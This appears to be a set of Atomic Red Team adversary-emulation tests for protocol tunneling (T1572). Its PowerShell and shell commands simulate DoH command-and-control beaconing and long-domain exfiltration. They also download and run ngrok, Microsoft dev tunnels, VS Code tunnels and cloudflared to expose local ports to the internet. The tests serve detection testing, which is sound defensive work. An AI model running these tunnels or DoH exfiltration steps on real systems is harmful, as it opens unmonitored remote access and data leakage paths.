Protocol Tunneling T1572

This test simulates an infected host sending a large volume of DoH queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }

This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}

This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.

Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}

Download and run ngrok. Create tunnel to chosen port.

C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
Start-Sleep -s 5 
Stop-Job -Name Job1 | Out-Null

Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore

if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1}

New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip
Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok

Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc. Reference: - Microsoft Docs - LOT Tunnels

#{binary_path} host -p #{port} &

pkill -9 $(basename "#{binary_path}")
#{binary_path} user logout
rm #{binary_path}

test -f #{binary_path}

mkdir -p $(dirname #{binary_path})
curl -L "#{download_url}" -o "#{binary_path}"
chmod +x #{binary_path}

#{binary_path} user show | grep -q "Not logged in" && exit 1 || exit 0

echo "Login to devtunnel using the following command: #{binary_path} user login"

Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference: - Microsoft Docs - LOT Tunnels

nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &

pkill -9 tunnel
code tunnel unregister
code tunnel user logout

which code

ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "x64")
if [ "$(uname)" = "Darwin" ]
then brew install code-cli
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{payload_path})        
  PKG_TYPE=$(command -v apt >/dev/null && echo "deb" || echo "rpm")
  curl -L "#{artifact_base_url}?build=#{artifact_build}&os=linux-${PKG_TYPE}-${ARCH_SUFFIX}" -o "#{payload_path}/code.${PKG_TYPE}"
  (which apt && apt install -y "#{payload_path}/code.${PKG_TYPE}") || (which yum && yum install -y "#{payload_path}/code.${PKG_TYPE}")
  rm "#{payload_path}/code.${PKG_TYPE}"
fi

code tunnel user show | grep -q "not logged in" && exit 1 || exit 0

echo "Login to code tunnel using the following command: code tunnel user login"

Cloudflared can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference: - Cloudflared Docs - LOT Tunnels

nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &

pkill -9 $(basename "#{binary_path}")
rm -f "#{binary_path}"

test -f "#{binary_path}" && exit 0 || exit 1

ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "amd64")
if [ "$(uname)" = "Darwin" ]
then curl -L "#{cloudflared_artifact_base_url}/cloudflared-darwin-${ARCH_SUFFIX}.tgz" -o "$(dirname #{binary_path})/cloudflared-darwin-${ARCH_SUFFIX}.tgz" 
  cd "$(dirname #{binary_path})"
  tar -xzf "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
  rm -f "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
  chmod +x "#{binary_path}"
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{binary_path})
  curl -L "#{cloudflared_artifact_base_url}/cloudflared-linux-${ARCH_SUFFIX}" -o "#{binary_path}"
  chmod +x "#{binary_path}"
fi